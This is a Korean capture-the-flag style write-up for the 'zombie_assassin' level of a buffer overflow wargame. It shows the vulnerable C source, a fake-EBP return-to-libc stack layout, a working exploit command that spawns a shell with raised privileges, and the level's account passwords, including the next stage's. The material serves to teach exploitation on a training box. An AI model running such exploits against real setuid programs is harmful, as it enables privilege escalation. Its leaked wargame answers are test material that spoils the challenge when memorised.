- id = assassin
- pw = pushing me away
1. 문제 : zombie_assassin.c
/*
The Lord of the BOF : The Fellowship of the BOF
- zombie_assassin
- FEBP
*/
#include <stdio.h>
#include <stdlib.h>
main(int argc, char *argv[])
{
char buffer[40];
if(argc < 2){
printf("argv error\n");
exit(0);
}
if(argv[1][47] == '\xbf')
{
printf("stack retbayed you!\n");
exit(0);
}
if(argv[1][47] == '\x40')
{
printf("library retbayed you, too!!\n");
exit(0);
}
// strncpy instead of strcpy!
strncpy(buffer, argv[1], 48);
printf("%s\n", buffer);
}
1.1 변경된 코드
buffer overflow 를 위한 strcpy() 가 이번에는 strncpy(X,X,48)로서 48bytes = buffer[40] + sfr[4] + lr[4] 만큼만 copy 를 한다.
// strncpy instead of strcpy!
strncpy(buffer, argv[1], 48);
2. 공격 준비
(Level12 도 그랬지만… EBP 를 이용한 공격에 익숙하지 않아서 그런지… 처음에는 너무 어려웠지만… 참 재밌는 문제다…)
2.1 공격 방법 고민
이번 문제에서는 ret() 만 하고 오면 되었는데, 이번에는 LR 뒤 값을 copy 할 수 없다. 즉, stack 을 원하는대로 구성을 할 수 없다는 것이다. 그럼 어떻게 공격할 수 있을까 ? 그럼 모든 공격 코드를 ROP 로 작성해야할까 ?
다행히… 힌트가 있다. fake ebp. 12단계 : (Golem -> Darkknight) : Sfp와 같이 ebp 를 crash 한 다음에 흐름을 바꾸어야 하는 것 같다.
2.2 Stack 구성
[ Buffer[40] ][ SFR ][ LR ][ ...]
= [4Bytes][ system() ][ exit() ][ /bin/sh ][NOP 28Bytes][ SFR ][ leave() ]
/|\ |
|-----------------------------------------------------|
- system() : 0x40058ae0
- exit() : 0x400391e0
- /bin/sh : 0x400fbff9
- NOP
- SFR
- leave() : 0x080484df
./zombie_assassin "`python -c 'print "\xe0\x8a\x05\x40" + "\xe0\x91\x03\x40" + "\xf9\xbf\x0f\x40" + "\x90"*28 + "\x4c\xfc\xff\xbf" + "\xdf\x84\x04\x08"'`"
3 Exploit
./zombie_assassin "`python -c 'print "\xe0\x8a\x05\x40" + "\xe0\x91\x03\x40" + "\xf9\xbf\x0f\x40" + "\x90"*28 + "\x4c\xfc\xff\xbf" + "\xdf\x84\x04\x08"'`"
à@à@ù¿@Lü ¿ß
bash$ id
uid=515(assassin) gid=515(assassin) euid=516(zombie_assassin) egid=516(zombie_assassin) groups=515(assassin)
4. 다음 단계 정보
bash$ id
uid=515(assassin) gid=515(assassin) euid=516(zombie_assassin) egid=516(zombie_assassin) groups=515(assassin)
bash$ my-pass
euid = 516
no place to hide